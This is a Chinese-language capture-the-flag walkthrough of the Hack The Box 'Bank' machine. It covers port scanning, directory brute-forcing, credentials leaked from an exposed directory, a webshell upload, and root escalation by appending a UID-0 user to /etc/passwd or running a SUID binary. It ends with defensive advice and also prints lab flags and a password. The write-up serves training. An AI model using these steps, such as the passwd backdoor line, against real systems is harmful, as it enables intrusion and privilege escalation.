[Meachines] [Easy] Bank balance-transfer目录泄露+etcpasswd权限提升+SUID emergency权限提升
字数 1082 2025-08-22 12:23:42

Bank.htb 渗透测试教学文档

信息收集阶段

初始扫描

  1. 使用Masscan进行快速端口扫描
sudo masscan -p1-65535,U:1-65535 10.10.10.29 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
  1. 处理扫描结果并准备Nmap扫描
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
  1. 使用Nmap进行详细扫描
nmap -Pn -sV -sC -p$ports 10.10.10.29

扫描结果分析

开放端口及服务:

  • 22/tcp: OpenSSH 6.6.1p1 Ubuntu
  • 53/tcp: ISC BIND 9.9.5-3ubuntu0.14 (DNS服务)
  • 80/tcp: Apache httpd 2.4.7 (Web服务)

Web应用枚举

  1. 添加hosts记录
echo '10.10.10.29 bank.htb' >>/etc/hosts
  1. 目录爆破
feroxbuster -u http://bank.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
  1. 发现敏感目录
  • http://bank.htb/balance-transfer/ 目录包含账户凭证文件
  1. 自动化下载balance-transfer目录文件
wget -q -O - http://bank.htb/balance-transfer/ | grep -oP '(?<=href=")[^"]*' | sort | uniq | while read url; do
  full_url="http://bank.htb/balance-transfer/$url"
  if [[ ! "$url" =~ ^http ]]; then
    full_url="http://bank.htb/balance-transfer/$url"
  fi
  echo "Downloading: $full_url"
  wget --show-progress "$full_url" -P ./
done
  1. 分析下载的文件
ls -la| sort -n |head -n 10
cat 68576f20e9732f1b2edc4df5b8533230.acc

发现凭证:

username:chris@bank.htb 
password:!##HTBB4nkP4ssw0rd!##

初始访问

  1. 使用发现的凭证登录
    访问 http://bank.htb/login.php 并使用上述凭证

  2. 发现的功能点

  • http://bank.htb/index.php
  • http://bank.htb/support.php (文件上传点)
  1. 上传webshell
    上传文件到 http://bank.htb/uploads/p0wny.htb

  2. 获取user flag

137646c78ff9524501409d48a3d2a2af

权限提升

方法一:通过/etc/passwd提权

  1. 生成加密密码
openssl passwd -1 -salt 123 123
  1. 编辑/etc/passwd添加用户
echo 'Maptnh:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:Maptnh:/home/Maptnh:/bin/bash'>>/etc/passwd
  1. 切换用户
su Maptnh

方法二:通过SUID二进制文件提权

  1. 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
  1. 利用emergency二进制文件
/var/htb/bin/emergency
  1. 获取root flag
2bd8d9c525c16f18d779a90123fa3554

关键知识点总结

  1. 信息收集

    • 使用Masscan进行快速端口扫描
    • 使用Nmap进行服务版本探测
    • Web目录爆破技术
  2. 漏洞利用

    • 敏感目录泄露导致凭证泄露
    • 文件上传漏洞利用
    • /etc/passwd可写提权技术
    • SUID二进制文件提权技术
  3. 权限提升技巧

    • 通过openssl生成密码哈希
    • 手动添加root权限用户
    • 识别和利用不当权限设置的SUID文件
  4. 工具使用

    • Masscan
    • Nmap
    • Feroxbuster
    • Wget
    • 标准Linux命令(find, cat, echo等)

防御建议

  1. 防止目录泄露

    • 禁用目录列表
    • 敏感文件不应存放在web可访问目录
  2. 密码安全

    • 使用强密码策略
    • 定期更换密码
    • 密码不应明文存储
  3. 文件权限

    • 严格控制/etc/passwd等关键文件权限
    • 审计SUID/SGID文件
  4. 输入验证

    • 实现严格的文件上传验证
    • 过滤特殊字符和恶意输入
  5. 最小权限原则

    • Web服务应使用低权限用户运行
    • 避免使用root权限运行服务
Bank.htb 渗透测试教学文档 信息收集阶段 初始扫描 使用Masscan进行快速端口扫描 : 处理扫描结果并准备Nmap扫描 : 使用Nmap进行详细扫描 : 扫描结果分析 开放端口及服务: 22/tcp : OpenSSH 6.6.1p1 Ubuntu 53/tcp : ISC BIND 9.9.5-3ubuntu0.14 (DNS服务) 80/tcp : Apache httpd 2.4.7 (Web服务) Web应用枚举 添加hosts记录 : 目录爆破 : 发现敏感目录 : http://bank.htb/balance-transfer/ 目录包含账户凭证文件 自动化下载balance-transfer目录文件 : 分析下载的文件 : 发现凭证: 初始访问 使用发现的凭证登录 : 访问 http://bank.htb/login.php 并使用上述凭证 发现的功能点 : http://bank.htb/index.php http://bank.htb/support.php (文件上传点) 上传webshell : 上传文件到 http://bank.htb/uploads/p0wny.htb 获取user flag : 权限提升 方法一:通过/etc/passwd提权 生成加密密码 : 编辑/etc/passwd添加用户 : 切换用户 : 方法二:通过SUID二进制文件提权 查找SUID文件 : 利用emergency二进制文件 : 获取root flag : 关键知识点总结 信息收集 : 使用Masscan进行快速端口扫描 使用Nmap进行服务版本探测 Web目录爆破技术 漏洞利用 : 敏感目录泄露导致凭证泄露 文件上传漏洞利用 /etc/passwd可写提权技术 SUID二进制文件提权技术 权限提升技巧 : 通过openssl生成密码哈希 手动添加root权限用户 识别和利用不当权限设置的SUID文件 工具使用 : Masscan Nmap Feroxbuster Wget 标准Linux命令(find, cat, echo等) 防御建议 防止目录泄露 : 禁用目录列表 敏感文件不应存放在web可访问目录 密码安全 : 使用强密码策略 定期更换密码 密码不应明文存储 文件权限 : 严格控制/etc/passwd等关键文件权限 审计SUID/SGID文件 输入验证 : 实现严格的文件上传验证 过滤特殊字符和恶意输入 最小权限原则 : Web服务应使用低权限用户运行 避免使用root权限运行服务